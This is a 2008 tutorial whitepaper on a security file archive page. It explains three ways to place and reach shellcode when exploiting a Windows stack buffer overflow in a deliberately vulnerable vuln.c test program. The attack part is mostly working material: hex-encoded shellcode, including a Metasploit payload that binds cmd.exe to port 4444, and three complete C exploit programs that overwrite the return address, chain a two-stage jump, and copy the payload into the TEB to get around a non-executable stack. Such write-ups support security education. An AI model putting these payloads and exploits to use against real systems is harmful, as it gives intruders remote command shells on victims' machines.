exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

shellcode-locations.txt

shellcode-locations.txt
Posted May 23, 2008
Authored by suN8Hclf | Site dark-coders.4rh.eu

Whitepaper discussing shellcode locations and buffer overflows in Windows.

tags | overflow, shellcode
systems | windows
SHA-256 | 3e947e12b273db578c52df933d6234fe262f06dcb480ca90f0cf83a31d2e4399

shellcode-locations.txt

Change Mirror Download
   //////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
[*][-][*][-][*][-]Shellcode locations and buffer overflows in Windows[-][*][-][*][-][*]
//////////////////////////////////////////\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\

bY suN8Hclf | crimsoN_Loyd9

DaRk-CodeRs Group production, kid

www.dark-coders.4rh.eu

suN8Hclf[at]vp{dot}pl

09/03/2008 (English version)




0x00 ==]Introduction
0x01 ==]Shellcodes
0x02 ==]vuln.c
0x03 ==]The first method
0x04 ==]The second method
0x05 ==]The third method
0x06 ==]Conclusion
0x07 ==]Greetings


NOTE: Please, excuse my poor English, its not my mother language.


[<*>] 0x00 Introduction [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This is not just another paper describing basics of buffer overflows.
There are lots of publications about this topic, therefore it does not
make any sense to describe it again. If you are familar with exploiting
buffer overflows on Windows platform, do not think that this article
has nothing to offer you. It shows some interesting methods, which can be
used during writing an exploit (for example: where to put shellcode when
stack is non-executable). Basic knowledge of x86 processors, Assembly and C
languages and buffer overflows exploitation are required.

The ability to overflow a buffer on the stack, gives us the full control
over the EIP register of x86 processor. Yep!!! This is great!!!
We can load this register with every address we want, and then force a vulnerable
program to jump there and to execute code that is at that address.

The problem occures when we want to execute the code, which WE want to
be executed and not the code, which is actualy in the memory. To achive
it, we have got to place OUR code in the memory of process we are attacking.
This code is known as shellcode and it consists of a set of instructions
for processor, additionaly encoded in their hex values.

In this paper I will discuss three possible locations in memory, where we can put
our shellcode and than, how to force the vulnerable application to execute it.
During this tutorial we will be using two shellcodes, of different size.

The first, written by me:

1. Loads user32.dll library to process memory
2. Calls MessageBoxA
3. Calls ExitProcess(0) to terminate process

The second, was generated in Metasploit Framework. It binds
Windows shell (cmd.exe) to port 4444.

Three methods (possible locations in memory) I will describe are the following:

1. On the stack, behind the buffer that smashes the stack(so behind
the return address).
2. In buffer, which overflows buffer on the stack
3. In TEB block


[<*>] 0x01 Shellcodes [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

1. >>The first shellcode (64 bytes)<<

char shellcode[]=
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x33\xC9\x83\xC3"
"\x35\x88\x0B\x83\xEB\x06\x53\xB8\xCF\x05\x35\x79\xFF\xD0"
"\x33\xC9\x51\x53\x53\x51\x05\x11\x11\x11\x11\x2D\x79\x90"
"\x0E\x11\xFF\xD0\x33\xC9\x51\xB8\x1A\xE0\x34\x79\xFF\xD0"
"\x75\x73\x65\x72\x33\x32\x61";

In details:

00401B7C EB 02 JMP SHORT vuln.00401B80
00401B7E EB 05 JMP SHORT vuln.00401B85
00401B80 E8 F9FFFFFF CALL vuln.00401B7E
00401B85 5B POP EBX
00401B86 33C9 XOR ECX,ECX
00401B88 83C3 35 ADD EBX,35
00401B8B 880B MOV BYTE PTR DS:[EBX],CL
00401B8D 83EB 06 SUB EBX,6
00401B90 53 PUSH EBX
00401B91 B8 CF053579 MOV EAX,KERNEL32.LoadLibraryA //check address of LoadLibraryA on your own
00401B96 FFD0 CALL EAX
00401B98 33C9 XOR ECX,ECX
00401B9A 51 PUSH ECX
00401B9B 53 PUSH EBX
00401B9C 53 PUSH EBX
00401B9D 51 PUSH ECX
00401B9E 05 11111111 ADD EAX,11111111
00401BA3 2D 79900E11 SUB EAX,110E9079
00401BA8 FFD0 CALL EAX //here, in eax should be an address of
00401BAA 33C9 XOR ECX,ECX //MessageBoxA function
00401BAC 51 PUSH ECX
00401BAD B8 1AE03479 MOV EAX,KERNEL32.ExitProcess //address of ExitProcess
00401BB2 FFD0 CALL EAX
00401BB4 75 73 JNZ SHORT vuln.00401C29
00401BB6 65:72 33 JB SHORT vuln.00401BEC
00401BB9 3261 XOR AL,BYTE PTR DS:[EAX]


Wow, I have written it under Windows 2000 Service Pack 4. If you are
using another Windows platform, you should change address of LoadLibraryA,
MessageBoxA and ExitProcess in kernel32 and User32 to good ones.
As you can see, this simple code simply invokes MessageBoxA and then
it terminates the process.

2. >>The second shellcode(399 bytes):

// win32_bind - Encoded Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ] http://metasploit.com/
unsigned char shellcode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";


[<*>] 0x02 vuln.c [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Here is a code of the vuln.c program, which we'll be attacking
using three methods:

-------------vuln.c------------------------
#include <stdio.h>
#include <stdlib.h>

int foo(char *);

int main(int argc, char *argv[])
{
if(argc != 2)
return printf("Supply an argument, dude\n");
foo(argv[1]);
return 0;
}

int foo(char *input)
{
unsigned char buffer[600]="";
printf("%.8X\n", &buffer);
strcpy(buffer, input);
return 0;
}
-------------vuln.c------------------------

As you can see, there is a possibility (in foo() function) to
overflow a buffer on the stack. Strcpy() function does not check
the length of "source" data.

NOTE1:
==================================================================================
|To make our think much simpler, let's assume that 620 bytes is |
|the maximum size of data that DOES NOT overwrite return address on the stack. |
==================================================================================

[<*>] 0x03 The first method [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

This is probably the most popular and the most simple method.
We fill entire buffer (620 bytes) with "chunk", the return address
we overwrite with jump(call, jmp), and then we place our shellcode.
The buffer, which exploits the vuln.c program with this method
looks like it:

[620 bytes of chunk][jmp esp, call esp][some NOP's][shellcode]

We assume that ESP register points to our shellcode during overflow
(shellcode is on the top of the stack).

Here is the exploit:

----------------exploit1.c------------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define RET 0x7935EDBB /* ATTENTION!!! Change it. Search kernel32.dll
or any other library for jmp esp or call esp
instruction and then save the address */
#define TRASH 0x41

char shellcode[]=
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x33\xC9\x83\xC3"
"\x35\x88\x0B\x83\xEB\x06\x53\xB8\xCF\x05\x35\x79\xFF\xD0"
"\x33\xC9\x51\x53\x53\x51\x05\x11\x11\x11\x11\x2D\x79\x90"
"\x0E\x11\xFF\xD0\x33\xC9\x51\xB8\x1A\xE0\x34\x79\xFF\xD0"
"\x75\x73\x65\x72\x33\x32\x61";

int main(int argc, char *argv[])
{
char *bufExe[3];
char buf[700];
int i;
char *ptr = buf;

memset(buf, 0, sizeof(buf));
bufExe[0] = "vuln.exe";
bufExe[2] = NULL;

for(i=0;i<620;i++)
(*ptr++) = TRASH; //620 bytes of chunk

*(unsigned long *)&buf[620] = RET; //then return address = jmp esp, call esp
strcat(buf, "\x90\x90\x90\x90"); //small NOP sledge
strcat(buf, shellcode); //and our first shellcode
bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);
return 0;
}
----------------exploit1.c------------------------

This method works correctly, but is very limited. Why?
Our shellcode must be SMALL. If you use long shellcode (for example the
second one from this paper) it will be cut. Therefore using this method
we won't force the vuln.c program to execute or second shellcode. To do it
we have got to use the second method.


[<*>] 0x04 The second method [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

To execute long shellcodes we need much more place: 399 bytes + NOP sledge
(in our example). If the buffer in an application, which we are attacking, is big
(620 bytes in vuln.c), we can place THERE our shellcode and jump to the begining of our
code in buffer. This is how most of exploits for linux < 2.6 works.
Buffer looks like it:

[NOP sledge][REAL SHELLCODE][call esp, jmp esp][some NOP's][MINI SHELLCODE]

As you can see, we have got to use two shellcode's:

REAL SHELLCODE -> this is our shellcode, which we want to be executed
MINI SHELLCODE -> this is a small shellcode, which will be executed with
the first method. It will only jump to the REAL SHELLCODE.

In our example (vuln.c) the ECX register points to the end of buffer.
Therefore we can use it, to jump at the beggining of the buffer.
We can do it by:

dec ch
dec ch
jmp ecx

Of course, you may need to change it. The most important thing is that
the ECX register, must point to the NOP sledge before REAL SHELLCODE after
the execution of MINI SHELLCODE.

Exploit:

------------------exploit2.c-----------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define RET 0x7935EDBB //see comments in exploit1.c
#define NOP 0x90

unsigned char shellcode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";

char mini[]=
"\xFE\xCD" // dec ch
"\xFE\xCD" // dec ch
"\xFF\xE1"; /* jmp ecx (the ECX register should point to the NOP
sledge before REAL shellcode) */

int main(int argc, char *argv[])
{
char *bufExe[3];
char buf[700];
int i;
char *ptr = buf;

memset(buf, 0, sizeof(buf));
bufExe[0] = "vuln.exe";
bufExe[2] = NULL;

for(i=0;i<160;i++)
(*ptr++) = NOP; //load 160 NOPs (counted value)

strcat(buf, shellcode); //load our shellcode (399 bytes)
strcat(buf, "\x90"); //load one NOP to gain rounded value 560 (160+399=559)
for(i=0;i<12;i++)
strcat(buf, "\x90\x90\x90\x90\x90"); //load some NOPs to be 620 bytes (620-560=60)
*(unsigned long *)&buf[620] = RET; //now jump to MINI SHELLCODE(call esp)
strcat(buf,"\x90\x90\x90\x90"); //some NOPs
strcat(buf, mini); //MINI SHELLCODE

bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);
return 0;
}
------------------exploit2.c-----------------------

Of course, all values in this example were counted, and they won't
be good any time. You have got to do the math yourself :)
Ok, it works, but what if the stack is non-executable ?

[<*>] 0x05 The third method [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

If the stack memory was configured to firbid the execution of code
that is placed on it, we have to choose another place to store our shellcode.
We can, for example, choose TEB block. Every block has 520 bytes buffer
used during Unicode to ASCII strings conversion. This buffer is shiffted(placed)
0xC00 bytes from the beggining of TEB block. The TEB block of the first
process's thread has address 0x7FFDE000 so the free buffer for
our shellcode is at 0x7FFDEC00 (0x7FFDE000 + 0xC00). Becouse this address
ends with NULL byte, we should change it to, for example, 0x7FFDEC04.
But here is a trap. If our exploit did use any function that uses the buffer in
TEB block for conversion between Unicode and ASCII, the attacked process
would probably crash down and our shellcode would not be executed.
Too bad...
But there are some others free locations in TEB block that are not used.
For example, starting from 0x7FFDE1BC there is a buffer containing only
NULL bytes, which we can overwrite. So this is how our buffer, which
will be sent to vuln.c, looks like:

[NOP sledge][shellcode][some NOPs][STR_FUNC][STR_FUNC_RET][DEST_BUF][SRC_BUF]

where:

STR_FUNC (620-624 bytes) -> the address of function, which will be used to copy
our NOP sledge+shellcode to TEB block (lstrcpyA or
lstrcatA).
STR_FUNC_RET (624-628 bytes) -> the return address for STR_FUNC. In our example we are
jumping to our buffer with shellcode at 0x7FFDE1BC.
DEST_BUF (628-632 bytes) -> address of the location where we are copying our shellcode.
TEB block (0x7FFDE1BC) in our case.
SRC_BUF (632-636 bytes) -> the address from which we are copying our code. In our
example, we copy NOP sledge and shellcode. Get this address
from vuln.c program.


And the third exploit:

------------------------exploit3.c----------------------
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define TEB 0x7FFDE1BC // the location where we are copying our code
#define BUF_ADDR 0x0013B870 //address of buffer from vuln.c
#define STRCPY_FUNC 0x7935DF5C //address of lstrcpyA in kernel32.dll for Win2000

unsigned char shellcode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";

int main(int argc, char *argv[])
{
char *bufExe[3];
char buf[770];
int i,y;

bufExe[0] = "vuln.exe";
bufExe[2] = NULL;

memset(buf, 0, sizeof(buf));

for(i=0;i<25;i++)
strcat(buf, "\x90\x90\x90\x90"); //100 bytes of NOP

for(i=strlen(buf), y=0;y<sizeof(shellcode);y++,i++)
buf[i] = shellcode[y]; //our shellcode

for(i;i<621;i++)
strcat(buf, "\x90"); //and fill the rest of buffer with NOP's (total 620 bytes)

*(unsigned long *)&buf[620] = STRCPY_FUNC;
*(unsigned long *)&buf[624] = TEB;
*(unsigned long *)&buf[628] = TEB;
*(unsigned long *)&buf[632] = BUF_ADDR;

bufExe[1] = buf;
execve(bufExe[0],bufExe,NULL);
return 0;
}
------------------------exploit3.c----------------------

After invoking this exploit, and typing :

> netstat -a

you should see opened port -> 4444. Good...

Our shellcode should be less than 520 bytes long, to not to overflow the
next TEB or PEB block.

[<*>] 0x06 Conclusion [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~`

The three methods presented in this paper are quite useful during
writting the buffer overflows exploit.

All comments, sugestions, questions -> send to:

suN8Hclf[at]vp{dot}pl OR crimson{dot}loyd[at]gmail{dot}com

Feel free to write me any time...

[<*>] 0x07 Greetings [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Sir P.Sobczak (for being the "coolest" person in the world, for Your help, suggestions)
and M.Domosud(for trust),P.Jeda(for friendship),K.CzErEdYs(for "jestes zajebisty"),
M.Slaski, Die_Angel,0in(for WebIDS),all DaRk-CodeRs Group,adhgmiz(for inspiration),
Emmanuel Goldstein(for "drug deal":):)),rHiana,RoMaNcy-HaCker,undergr0und.net...



Stay secure...



==[END OF FUCKIN' FILE]==
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close